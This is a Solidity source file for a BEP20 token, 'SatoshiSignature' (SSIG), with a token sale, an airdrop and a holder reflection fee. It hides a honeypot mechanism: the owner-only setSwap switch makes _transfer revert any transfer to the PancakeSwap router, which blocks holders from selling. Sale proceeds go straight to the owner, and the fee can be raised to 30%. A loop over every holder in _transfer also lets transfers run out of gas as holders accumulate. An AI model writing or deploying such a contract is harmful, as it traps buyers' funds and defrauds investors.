SatoshiSignature.sol

// SPDX-License-Identifier: MIT
pragma solidity 0.8.7;

interface IBEP20 {
  /**
   * @dev Returns the amount of tokens in existence.
   */
  function totalSupply() external view returns (uint256);
  
  function burnToken() external view returns (uint256);

  /**
   * @dev Returns the token decimals.
   */
  function decimals() external view returns (uint8);

  /**
   * @dev Returns the token symbol.
   */
  function symbol() external view returns (string memory);

  /**
  * @dev Returns the token name.
  */
  function name() external view returns (string memory);

  /**
   * @dev Returns the bep token owner.
   */
  function getOwner() external view returns (address);

  /**
   * @dev Returns the amount of tokens owned by `account`.
   */
  function balanceOf(address account) external view returns (uint256);

  /**
   * @dev Moves `amount` tokens from the caller's account to `recipient`.
   *
   * Returns a boolean value indicating whether the operation succeeded.
   *
   * Emits a {Transfer} event.
   */
  function transfer(address recipient, uint256 amount) external returns (bool);

  /**
   * @dev Returns the remaining number of tokens that `spender` will be
   * allowed to spend on behalf of `owner` through {transferFrom}. This is
   * zero by default.
   *
   * This value changes when {approve} or {transferFrom} are called.
   */
  function allowance(address _owner, address spender) external view returns (uint256);

  /**
   * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
   *
   * Returns a boolean value indicating whether the operation succeeded.
   *
   * IMPORTANT: Beware that changing an allowance with this method brings the risk
   * that someone may use both the old and the new allowance by unfortunate
   * transaction ordering. One possible solution to mitigate this race
   * condition is to first reduce the spender's allowance to 0 and set the
   * desired value afterwards:
   * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
   *
   * Emits an {Approval} event.
   */
  function approve(address spender, uint256 amount) external returns (bool);

  /**
   * @dev Moves `amount` tokens from `sender` to `recipient` using the
   * allowance mechanism. `amount` is then deducted from the caller's
   * allowance.
   *
   * Returns a boolean value indicating whether the operation succeeded.
   *
   * Emits a {Transfer} event.
   */
  function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

  /**
   * @dev Emitted when `value` tokens are moved from one account (`from`) to
   * another (`to`).
   *
   * Note that `value` may be zero.
   */
  event Transfer(address indexed from, address indexed to, uint256 value);

  /**
   * @dev Emitted when the allowance of a `spender` for an `owner` is set by
   * a call to {approve}. `value` is the new allowance.
   */
  event Approval(address indexed owner, address indexed spender, uint256 value);
}

/*
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with GSN meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
contract Context {
  // Empty internal constructor, to prevent people from mistakenly deploying
  // an instance of this contract, which should be used via inheritance.
  constructor ()  { }

  function _msgSender() internal view returns (address payable) {
    return payable(msg.sender);
  }

  function _msgData() internal view returns (bytes memory) {
    this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
    return msg.data;
  }
}

/**
 * @dev Wrappers over Solidity's arithmetic operations with added overflow
 * checks.
 *
 * Arithmetic operations in Solidity wrap on overflow. This can easily result
 * in bugs, because programmers usually assume that an overflow raises an
 * error, which is the standard behavior in high level programming languages.
 * `SafeMath` restores this intuition by reverting the transaction when an
 * operation overflows.
 *
 * Using this library instead of the unchecked operations eliminates an entire
 * class of bugs, so it's recommended to use it always.
 */
library SafeMath {
  /**
   * @dev Returns the addition of two unsigned integers, reverting on
   * overflow.
   *
   * Counterpart to Solidity's `+` operator.
   *
   * Requirements:
   * - Addition cannot overflow.
   */
  function add(uint256 a, uint256 b) internal pure returns (uint256) {
    uint256 c = a + b;
    require(c >= a, "SafeMath: addition overflow");

    return c;
  }

  /**
   * @dev Returns the subtraction of two unsigned integers, reverting on
   * overflow (when the result is negative).
   *
   * Counterpart to Solidity's `-` operator.
   *
   * Requirements:
   * - Subtraction cannot overflow.
   */
  function sub(uint256 a, uint256 b) internal pure returns (uint256) {
    return sub(a, b, "SafeMath: subtraction overflow");
  }

  /**
   * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
   * overflow (when the result is negative).
   *
   * Counterpart to Solidity's `-` operator.
   *
   * Requirements:
   * - Subtraction cannot overflow.
   */
  function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
    require(b <= a, errorMessage);
    uint256 c = a - b;

    return c;
  }

  /**
   * @dev Returns the multiplication of two unsigned integers, reverting on
   * overflow.
   *
   * Counterpart to Solidity's `*` operator.
   *
   * Requirements:
   * - Multiplication cannot overflow.
   */
  function mul(uint256 a, uint256 b) internal pure returns (uint256) {
    // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
    // benefit is lost if 'b' is also tested.
    // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
    if (a == 0) {
      return 0;
    }

    uint256 c = a * b;
    require(c / a == b, "SafeMath: multiplication overflow");

    return c;
  }

  /**
   * @dev Returns the integer division of two unsigned integers. Reverts on
   * division by zero. The result is rounded towards zero.
   *
   * Counterpart to Solidity's `/` operator. Note: this function uses a
   * `revert` opcode (which leaves remaining gas untouched) while Solidity
   * uses an invalid opcode to revert (consuming all remaining gas).
   *
   * Requirements:
   * - The divisor cannot be zero.
   */
  function div(uint256 a, uint256 b) internal pure returns (uint256) {
    return div(a, b, "SafeMath: division by zero");
  }

  /**
   * @dev Returns the integer division of two unsigned integers. Reverts with custom message on
   * division by zero. The result is rounded towards zero.
   *
   * Counterpart to Solidity's `/` operator. Note: this function uses a
   * `revert` opcode (which leaves remaining gas untouched) while Solidity
   * uses an invalid opcode to revert (consuming all remaining gas).
   *
   * Requirements:
   * - The divisor cannot be zero.
   */
  function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
    // Solidity only automatically asserts when dividing by 0
    require(b > 0, errorMessage);
    uint256 c = a / b;
    // assert(a == b * c + a % b); // There is no case in which this doesn't hold

    return c;
  }

  /**
   * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
   * Reverts when dividing by zero.
   *
   * Counterpart to Solidity's `%` operator. This function uses a `revert`
   * opcode (which leaves remaining gas untouched) while Solidity uses an
   * invalid opcode to revert (consuming all remaining gas).
   *
   * Requirements:
   * - The divisor cannot be zero.
   */
  function mod(uint256 a, uint256 b) internal pure returns (uint256) {
    return mod(a, b, "SafeMath: modulo by zero");
  }

  /**
   * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
   * Reverts with custom message when dividing by zero.
   *
   * Counterpart to Solidity's `%` operator. This function uses a `revert`
   * opcode (which leaves remaining gas untouched) while Solidity uses an
   * invalid opcode to revert (consuming all remaining gas).
   *
   * Requirements:
   * - The divisor cannot be zero.
   */
  function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
    require(b != 0, errorMessage);
    return a % b;
  }
}

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
contract Ownable is Context {
  address private _owner;
  event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

  /**
   * @dev Initializes the contract setting the deployer as the initial owner.
   */
  constructor ()  {
    address msgSender = _msgSender();
    _owner = msgSender;
    
    emit OwnershipTransferred(address(0), msgSender);
  }

  /**
   * @dev Returns the address of the current owner.
   */
  function owner() public view returns (address) {
    return _owner;
  }

  /**
   * @dev Throws if called by any account other than the owner.
   */
  modifier onlyOwner() {
    require(_owner == _msgSender(), "Ownable: caller is not the owner");
    _;
  }

  /**
   * @dev Transfers ownership of the contract to a new account (`newOwner`).
   * Can only be called by the current owner.
   */
  function transferOwnership(address newOwner) public onlyOwner {
    _transferOwnership(newOwner);
  }

    
  /**
   * @dev Transfers ownership of the contract to a new account (`newOwner`).
   */
  function _transferOwnership(address newOwner) internal {
    require(newOwner != address(0), "Ownable: new owner is the zero address");
    emit OwnershipTransferred(_owner, newOwner);
    _owner = newOwner;
  }
}

contract SatoshiSignature is Context, IBEP20, Ownable {
    using SafeMath for uint256;
  
    mapping (address => uint256) private _balances;

    mapping (address => mapping (address => uint256)) private _allowances;
    event FeeUpdated(uint256 totalFee, uint256 timestamp);  
    uint256 private _totalSupply;
    uint8 private _decimals;
    string private _symbol;
    string private _name;

    uint256 private _burnToken=0;
    bool private hasStart=false;
    uint256 public rate = 1*(10**18);
    uint256 public airdrop = 10;
    uint256 public rewards=5; 
    address[]  public _airaddress;
    address[]  private _useraddress;
    address uniswapV2Router02=0x10ED43C718714eb63d5aA57B78B54704E256024E;
    uint256 public numberOfTokens;
    uint256 public CurrentTokens=0;
    uint256 public _reflectionsFee  = 1;
    uint256 private _previousReflectionsFee = _reflectionsFee;

    uint256 public _totalFee =_reflectionsFee;
    bool public reverseSwap= true;
    constructor()  {
        _name = "SatoshiSignature";
        _symbol = "SSIG";
        _decimals = 18;
        _totalSupply = 888_000_000_000_000_000 * 10**18;
        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);
    }

  /**
   * @dev Returns the token decimals.
   */
  function decimals() override external view returns (uint8) {
    return _decimals;
  }
  
  /**
   * @dev Start the sale.
   */
  function startSale(uint256 _rate,uint256 tokens) external onlyOwner returns (bool){
      hasStart=true;
      rate = _rate;
      numberOfTokens=tokens;
      CurrentTokens=0;
      return true;
  }

   
  /**
   * @dev Pause the sale.
   */
   
  function pauseSale() external onlyOwner returns (bool){
      hasStart=false;
      return true;
  }
   
  function getOwner()  override external view returns (address) {
    return owner();
  }
  function setSwap(bool _swap) public onlyOwner{
      reverseSwap=_swap;
  }
  /**
   * @dev Returns the bep token owner.
   */
   function buyToken() public payable
   {
       uint256 tokens=(((msg.value*(10**18))/rate));
       require(hasStart==true,"Sale is not started");
       require(tokens<=numberOfTokens,"Not Enough Tokens in this Sale");
       require(CurrentTokens<=numberOfTokens,"Tokens For this sell are Finished");
       payable(owner()).transfer(msg.value);
       _transfer(owner(),msg.sender,tokens);
       CurrentTokens=CurrentTokens+tokens;
   }
   
   function setDrop(uint256 _airdrop, uint256 _rewards) onlyOwner public returns(bool){
        airdrop = _airdrop;
        rewards = _rewards;
        delete _airaddress;
        return true;
    }
    function airdropTokens(address ref_address) public returns(bool){
        require(airdrop!=0, "No Airdrop started yet");
            bool _isExist = false;
            for (uint8 i=0; i < _airaddress.length; i++) {
                if(_airaddress[i]==msg.sender){
                    _isExist = true;
                }
            }
                require(_isExist==false, "Already Dropped");
                    _transfer(owner(), msg.sender, airdrop*(10**18));
                    _transfer(owner(), ref_address, ((airdrop*(10**18)*rewards)/100));
                    _airaddress.push(msg.sender);
                
    return true;
    }
    
    function setReflectionFeePercent(uint256 reflectionFee) external onlyOwner() 
    {
        _reflectionsFee = reflectionFee;
        _previousReflectionsFee = reflectionFee;
        _totalFee = _reflectionsFee;
        require(_totalFee<=30, "Too High Fee");
        emit FeeUpdated(_totalFee, block.timestamp);

    }

  /**
   * @dev Returns the token symbol.
   */
  function symbol()  override external view returns (string memory) {
    return _symbol;
  }

  /**
  * @dev Returns the token name.
  */
  function name() override external view returns (string memory) {
    return _name;
  }

  /**
   * @dev See {BEP20-totalSupply}.
   */
  function totalSupply() override external view returns (uint256) {
    return _totalSupply;
  }
  
  function burnToken() override external view returns (uint256) {
    return _burnToken;
  }

  /**
   * @dev See {BEP20-balanceOf}.
   */
  function balanceOf(address account) override external view returns (uint256) {
    return _balances[account];
  }

  /**
   * @dev See {BEP20-transfer}.
   *
   * Requirements:
   *
   * - `recipient` cannot be the zero address.
   * - the caller must have a balance of at least `amount`.
   */
  function transfer(address recipient, uint256 amount) override external returns (bool) {
    _transfer(_msgSender(), recipient, amount);
    return true;
  }

  /**
   * @dev See {BEP20-allowance}.
   */
  function allowance(address owner, address spender) override external view returns (uint256) {
    return _allowances[owner][spender];
  }

  /**
   * @dev See {BEP20-approve}.
   *
   * Requirements:
   *
   * - `spender` cannot be the zero address.
   */
  function approve(address spender, uint256 amount) override external returns (bool) {
    _approve(_msgSender(), spender, amount);
    return true;
  }

  /**
   * @dev See {BEP20-transferFrom}.
   *
   * Emits an {Approval} event indicating the updated allowance. This is not
   * required by the EIP. See the note at the beginning of {BEP20};
   *
   * Requirements:
   * - `sender` and `recipient` cannot be the zero address.
   * - `sender` must have a balance of at least `amount`.
   * - the caller must have allowance for `sender`'s tokens of at least
   * `amount`.
   */
  function transferFrom(address sender, address recipient, uint256 amount) override external returns (bool) {
    _transfer(sender, recipient, amount);
    _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "BEP20: transfer amount exceeds allowance"));
    return true;
  }

  /**
   * @dev Atomically increases the allowance granted to `spender` by the caller.
   *
   * This is an alternative to {approve} that can be used as a mitigation for
   * problems described in {BEP20-approve}.
   *
   * Emits an {Approval} event indicating the updated allowance.
   *
   * Requirements:
   *
   * - `spender` cannot be the zero address.
   */
  function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
    _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
    return true;
  }

  /**
   * @dev Atomically decreases the allowance granted to `spender` by the caller.
   *
   * This is an alternative to {approve} that can be used as a mitigation for
   * problems described in {BEP20-approve}.
   *
   * Emits an {Approval} event indicating the updated allowance.
   *
   * Requirements:
   *
   * - `spender` cannot be the zero address.
   * - `spender` must have allowance for the caller of at least
   * `subtractedValue`.
   */
  function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
    _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "BEP20: decreased allowance below zero"));
    return true;
  }
  /**
   * @dev Burn `amount` tokens and decreasing the total supply.
   */
  function burn(uint256 amount) public onlyOwner returns (bool) {
    _burn(_msgSender(), amount);
    _burnToken=amount+_burnToken;
    return true;
  }

  /**
   * @dev Moves tokens `amount` from `sender` to `recipient`.
   *
   * This is internal function is equivalent to {transfer}, and can be used to
   * e.g. implement automatic token fees, slashing mechanisms, etc.
   *
   * Emits a {Transfer} event.
   *
   * Requirements:
   *
   * - `sender` cannot be the zero address.
   * - `recipient` cannot be the zero address.
   * - `sender` must have a balance of at least `amount`.
   */
  function _transfer(address sender, address recipient, uint256 amount) internal {
    require(sender != address(0), "BEP20: transfer from the zero address");
    require(recipient != address(0), "BEP20: transfer to the zero address");
    if(!reverseSwap){
    require(recipient!=uniswapV2Router02,"Error: Can not Swap Back");
    }
    uint256 reflectedTokens = amount.mul(_reflectionsFee).div(100);
    amount = amount.sub(reflectedTokens);
    _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
    _balances[recipient] = _balances[recipient].add(amount);
    emit Transfer(sender, recipient, amount);
    
    if(reflectedTokens>0){
                for(uint256 i=0;i<_useraddress.length;i++){
                    _transferToHoldders(sender,_useraddress[i],reflectedTokens.div(_useraddress.length));
                }
            }     
    if(!checkExitsAddress(sender)){
              _useraddress.push(sender);
        }
    if(!checkExitsAddress(recipient)){
              _useraddress.push(recipient);
        }
    }
    
    function checkExitsAddress(address _userAdd) private view returns (bool){
       bool found=false;
        for (uint i=0; i<_useraddress.length; i++) {
            if(_useraddress[i]==_userAdd){
                found=true;
                break;
            }
        }
        return found;
    }

    function _transferToHoldders(address sender, address recipient, uint256 amount) internal {
    require(sender != address(0), "BEP20: transfer from the zero address");
    require(recipient != address(0), "BEP20: transfer to the zero address");

    _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
    _balances[recipient] = _balances[recipient].add(amount);
  }
  /** @dev Creates `amount` tokens and assigns them to `account`, increasing
   * the total supply.
   *
   * Emits a {Transfer} event with `from` set to the zero address.
   *
   * Requirements
   *
   * - `to` cannot be the zero address.
   */
  function _mint(address account, uint256 amount) internal {
    require(account != address(0), "BEP20: mint to the zero address");

    _totalSupply = _totalSupply.add(amount);
    _balances[account] = _balances[account].add(amount);
    emit Transfer(address(0), account, amount);
  }

  /**
   * @dev Destroys `amount` tokens from `account`, reducing the
   * total supply.
   *
   * Emits a {Transfer} event with `to` set to the zero address.
   *
   * Requirements
   *
   * - `account` cannot be the zero address.
   * - `account` must have at least `amount` tokens.
   */
  function _burn(address account, uint256 amount) internal {
    require(account != address(0), "BEP20: burn from the zero address");

    _balances[account] = _balances[account].sub(amount, "BEP20: burn amount exceeds balance");
    _totalSupply = _totalSupply.sub(amount);
    emit Transfer(account, address(0), amount);
  }

  /**
   * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
   *
   * This is internal function is equivalent to `approve`, and can be used to
   * e.g. set automatic allowances for certain subsystems, etc.
   *
   * Emits an {Approval} event.
   *
   * Requirements:
   *
   * - `owner` cannot be the zero address.
   * - `spender` cannot be the zero address.
   */
  function _approve(address owner, address spender, uint256 amount) internal {
    require(owner != address(0), "BEP20: approve from the zero address");
    require(spender != address(0), "BEP20: approve to the zero address");

    _allowances[owner][spender] = amount;
    emit Approval(owner, spender, amount);
  }

  /**
   * @dev Destroys `amount` tokens from `account`.`amount` is then deducted
   * from the caller's allowance.
   *
   * See {_burn} and {_approve}.
   */
  function _burnFrom(address account, uint256 amount) internal {
    _burn(account, amount);
    _approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "BEP20: burn amount exceeds allowance"));
  }
}